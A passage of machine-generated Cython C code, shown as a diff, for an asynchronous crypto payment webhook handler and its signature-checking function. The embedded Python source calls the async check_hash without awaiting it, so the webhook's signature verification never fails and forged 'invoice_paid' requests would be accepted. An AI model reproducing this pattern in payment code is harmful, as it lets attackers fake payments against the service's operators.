__Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 145, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 145, __pyx_L4_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":146 + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) # <<<<<<<<<<<<<< + * else: + * logger.warning( + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 146, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/cryprobot_pay.py":144 + * data = await request.json() + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) + */ + } + + /* "handlers/payments/cryprobot_pay.py":148 + * return web.Response(status=200) + * else: + * logger.warning( # <<<<<<<<<<<<<< + * f" : {data.get('update_type')}" + * ) + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":149 + * else: + * logger.warning( + * f" : {data.get('update_type')}" # <<<<<<<<<<<<<< + * ) + * return web.Response(status=400) + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_n_u_update_type}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__20, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_5}; + __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/cryprobot_pay.py":151 + * f" : {data.get('update_type')}" + * ) + * return web.Response(status=400) # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_web); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 151, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + } + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":152 + * ) + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_10, &__pyx_t_6) < 0) __PYX_ERR(0, 152, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_e = __pyx_t_10; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":153 + * return web.Response(status=400) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__21, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_14}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":154 + * except Exception as e: + * logger.error(f" : {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 154, __pyx_L19_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_14); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L18_return; + } + + /* "handlers/payments/cryprobot_pay.py":152 + * ) + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L19_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_12 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L6_except_error; + } + __pyx_L18_return: { + __Pyx_PyThreadState_assign + __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_23 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_23; + __pyx_t_23 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_18, __pyx_t_17); + } + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_22, __pyx_t_21, __pyx_t_20); + __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash = {"check_hash", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_hash (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 157, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_hash") < 0)) __PYX_ERR(0, 157, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("check_hash", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 157, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("check_hash", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 157, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3, __pyx_codeobj__22, (PyObject *) __pyx_cur_scope, __pyx_n_s_check_hash, __pyx_n_s_check_hash, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_hash", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":158 + * + * async def check_hash(request): + * body_text = await request.text() # <<<<<<<<<<<<<< + * crypto_pay_signature = request.headers.get( + * "Crypto-Pay-Api-Signature", "No value" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if 